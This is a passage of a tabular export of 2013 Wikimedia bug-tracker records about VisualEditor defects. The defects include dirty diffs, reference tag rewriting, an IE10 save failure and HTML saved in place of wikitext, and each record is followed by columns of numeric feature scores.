*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k43bzyrhgig4srkamrde,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50066 ***"
52106,VisualEditor ref weirdness,"https://en.wikipedia.org/w/index.php?title=Laura_Pannack&diff=561336738&oldid=557984097

<ref name=""telegraph""/> --> <ref name=""telegraph""></ref>

Weird.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372088340,1372091672.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-jvpgelxqydhjqfkhkgas,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.151515151515151,0.5454545454545454,"URL

<ref name=""telegraph""/> --> <ref name=""telegraph""></ref>

Weird.

--------------------------
**Version**: unspecified
**Severity**: normal"
244928,VisualEditor ref weirdness,https://en.wikipedia.org/w/index.php?title=Save_Rock_and_Roll&curid=38419944&diff=561416388&oldid=561387755,,,1372107851,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jvpgelxqydhjqfkhkgas,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
244922,VisualEditor ref weirdness,https://en.wikipedia.org/w/index.php?title=Daniel_Kahneman&curid=165492&diff=561411461&oldid=560179630,,,1372106999,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jvpgelxqydhjqfkhkgas,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
244916,VisualEditor ref weirdness,"

*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091672,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvpgelxqydhjqfkhkgas,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50066 ***"
52101,VisualEditor spurious attribute normalization (resulting in dirty diffs),"https://en.wikipedia.org/w/index.php?title=Christopher_Walken&curid=167790&diff=561335042&oldid=560573850

https://en.wikipedia.org/w/index.php?title=Complement_fixation_test&diff=561335484&oldid=540954235

https://en.wikipedia.org/w/index.php?title=List_of_first-class_cricket_records&curid=5507023&diff=561342472&oldid=560120426

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372086060,1373163469.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dmz6g3cracqeyd3hxrar,task_description,invalid,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6956521739130435,0.43478260869565216,"URL

URL

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
244653,VisualEditor spurious attribute normalization (resulting in dirty diffs),"Closing ""bugs"" which consist of multiple issues.",,,1373163469,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dmz6g3cracqeyd3hxrar,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,4.2,0.9,"Closing ""bugs"" which consist of multiple issues."
244648,VisualEditor spurious attribute normalization (resulting in dirty diffs),"This is still happening:

https://en.wikipedia.org/w/index.php?title=Wappingers_Falls,_New_York&curid=126391&diff=561392322&oldid=560081821",,,1372097247,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dmz6g3cracqeyd3hxrar,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.7142857142857144,1.0,"This is still happening:

URL"
244641,VisualEditor spurious attribute normalization (resulting in dirty diffs),"

*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091521,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dmz6g3cracqeyd3hxrar,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50066 ***"
52099,VisualEditor dirty diff,"https://en.wikipedia.org/w/index.php?title=Paula_Deen&diff=561368754&oldid=561308417

I did a section edit to link ""Food Network"". This was the resulting diff.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372085520,1372091385.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-4c7jfgdvdgsa7tz3aom4,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,18.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6052631578947367,0.6842105263157895,"URL

I did a section edit to link ""Food Network"". This was the resulting diff.

--------------------------
**Version**: unspecified
**Severity**: normal"
244489,VisualEditor dirty diff,"Sorry about this; fixed by bug 50066 which we'll deploy in a few minutes.

*** This bug has been marked as a duplicate of bug 50066 ***",,,1372091385,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4c7jfgdvdgsa7tz3aom4,task_subcomment,,True,c1,2,True,,,-1,,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.7428571428571429,"Sorry about this; fixed by bug 50066 which we'll deploy in a few minutes.

*** This bug has been marked as a duplicate of bug 50066 ***"
52086,VisualEditor: Impossible to review or save changes in IE10,"Screenshot of bug

The ""review changes"" flyout looks broken and doesn't actually do anything.

There's a script error:

SCRIPT70: Permission denied 
load.php, line 18 character 453

With ""format JavaScript"" enabled (a real godsend of IE's dev tools) we see that the error is occurring on the first line of this for statement:

for(i=0,len=oldDoc.head.childNodes.length;
        i<len;
        i++){

I tried to get a better output using debug=true, but this seems to totally break VE (in IE10 at least).

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11482}",Needs Triage,90.0,1372059000,1372084871.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-efd5wnljemqy75ubgwoi,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.5,0.5,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,2.0,0.0,1.5,6.5,0.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,3.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,12.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,3.0,0.5,9.0,0.5,1.0,4.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,2.0,6.5,4.5,0.0,2.0,0.0,2.0,0.0,0.0,1.5,0.0,1.0,0.5,0.5,1.5,3.814285714285714,0.7285714285714286,"Screenshot of bug

The ""review changes"" flyout looks broken and doesn't actually do anything.

There's a script error:

SCRIPT70: Permission denied 
load.php, line 18 character 453

With ""format JavaScript"" enabled (a real godsend of IE's dev tools) we see that the error is occurring on the first line of this for statement:

for(i=0,len=oldDoc.head.childNodes.length;
        i<len;
        i++){

I tried to get a better output using debug=true, but this seems to totally break VE (in IE10 at least).

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11482}"
243805,VisualEditor: Impossible to review or save changes in IE10,"This is bug 49187 (and yes, it's critical, hence we've re-blacklisted IE until we can get this fixed). :-(

(IE has a hard limit on how many scripts it will take for a given page; debug=true suspends ResourceLoader, meaning all ~200 VE files come individually - along with the dozens of non-VE MW scripts - which IE ignores after the first ten or so, breaking everything. This is a known IE-is-terrible bug.)

*** This bug has been marked as a duplicate of bug 49187 ***",,,1372084871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-efd5wnljemqy75ubgwoi,task_subcomment,,True,c1,2,True,,,-1,,1.0,1.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,3.5,6.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,6.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,8.0,0.5,1.5,8.5,0.0,0.0,0.0,0.0,1.0,0.5,2.5,0.0,2.0,6.5,5.0,0.0,0.0,0.0,2.0,0.0,1.5,3.0,0.0,1.5,0.0,0.0,0.0,3.3732607380520268,0.7817604355716878,"This is bug 49187 (and yes, it's critical, hence we've re-blacklisted IE until we can get this fixed). :-(

(IE has a hard limit on how many scripts it will take for a given page; debug=true suspends ResourceLoader, meaning all ~200 VE files come individually - along with the dozens of non-VE MW scripts - which IE ignores after the first ten or so, breaking everything. This is a known IE-is-terrible bug.)

*** This bug has been marked as a duplicate of bug 49187 ***"
243800,VisualEditor: Impossible to review or save changes in IE10,It's also impossible to save the page; same script error occurs. Upping to critical.,,,1372059463,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-efd5wnljemqy75ubgwoi,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9444444444444446,0.8888888888888888,It's also impossible to save the page; same script error occurs. Upping to critical.
52080,VisualEditor: still making unrelated modifications,"See https://en.wikipedia.org/w/index.php?title=Royal_Lancaster_Infirmary&diff=561254127&oldid=560972172 for example.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372037520,1372039230.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jazdgxdcnzvf2vvkoqay,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.6086956521739131,"See URL for example.

--------------------------
**Version**: unspecified
**Severity**: normal"
243400,VisualEditor: still making unrelated modifications,This is still happening: https://en.wikipedia.org/w/index.php?title=Genie_%28feral_child%29&diff=564429158&oldid=564425048 Can you please check? Thanks.,,,1373984013,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jazdgxdcnzvf2vvkoqay,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.769230769230769,1.0,This is still happening: URL Can you please check? Thanks.
243397,VisualEditor: still making unrelated modifications,"This particular one is (entirely cryptically) bug 50066, which is going to be fixed in the next few minutes and deployed tomorrow morning PDT.

*** This bug has been marked as a duplicate of bug 50066 ***",,,1372039230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jazdgxdcnzvf2vvkoqay,task_subcomment,,True,c1,2,True,,,-1,,2.0,0.0,2.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,7.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6739130434782608,0.782608695652174,"This particular one is (entirely cryptically) bug 50066, which is going to be fixed in the next few minutes and deployed tomorrow morning PDT.

*** This bug has been marked as a duplicate of bug 50066 ***"
52072,"VisualEditor: ""read"" version after save page not picking up on category removals","If a user hits edit, removes a category and saves, the read-only article they're then presented with still includes the old category - or at least, does on https://en.wikipedia.org/wiki/Sumali

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372034880,1372036218.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ndrderb5cpy5obe7r7so,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,3.830188679245283,0.7169811320754716,"If a user hits edit, removes a category and saves, the read-only article they're then presented with still includes the old category - or at least, does on URL

--------------------------
**Version**: unspecified
**Severity**: normal"
242871,"VisualEditor: ""read"" version after save page not picking up on category removals","

*** This bug has been marked as a duplicate of bug 48560 ***",,,1372036218,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ndrderb5cpy5obe7r7so,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48560 ***"
52049,VisualEditor saves HTML instead of wikitext,"In the following edit, VE saved the internal page representation instead of the wikitext:

https://nl.wikipedia.org/w/index.php?title=Eurosong&diff=prev&oldid=38007082

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371986640,1372004983.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-2nhg6abdnwgx5uutzfus,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.6388888888888888,"In the following edit, VE saved the internal page representation instead of the wikitext:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
241628,VisualEditor saves HTML instead of wikitext,"This was due to the caches being mis-configured; really sorry about this issue.

*** This bug has been marked as a duplicate of bug 49577 ***",,,1372004983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2nhg6abdnwgx5uutzfus,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.342857142857143,0.8,"This was due to the caches being mis-configured; really sorry about this issue.

*** This bug has been marked as a duplicate of bug 49577 ***"
52035,Images turned into mw:Placeholder in certain cases,"When viewing [[testwiki:Visualeditor_image_captions]] in VE, the images cannot be seen. They are still ""known"" though - they don't vanish on save.

(My testing of this issue led to the filing of bug 50008, but the issue there seems to have gone away now. However, this one is still showing up for me, so I think this is a separate bug.

Please close this bug if it turns out to have fixed itself.)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371972060,1372104211.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-k4lzd6fndz3snhg24las,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.5,1.0,2.5,1.0,0.0,0.5,1.0,1.5,0.5,0.0,0.0,0.5,2.5,0.0,7.0,7.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,5.0,3.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,2.5,3.0,7.0,1.5,0.5,5.5,0.0,0.0,0.0,0.0,3.5,1.0,0.5,0.0,5.0,7.5,1.5,0.0,1.0,0.0,5.0,0.0,0.5,1.0,2.0,1.5,0.0,0.0,2.0,3.539317042606516,0.7604949874686717,"When viewing [[testwiki:Visualeditor_image_captions]] in VE, the images cannot be seen. They are still ""known"" though - they don't vanish on save.

(My testing of this issue led to the filing of bug 50008, but the issue there seems to have gone away now. However, this one is still showing up for me, so I think this is a separate bug.

Please close this bug if it turns out to have fixed itself.)

--------------------------
**Version**: unspecified
**Severity**: normal"
240698,Images turned into mw:Placeholder in certain cases,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934068,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
240692,Images turned into mw:Placeholder in certain cases,"

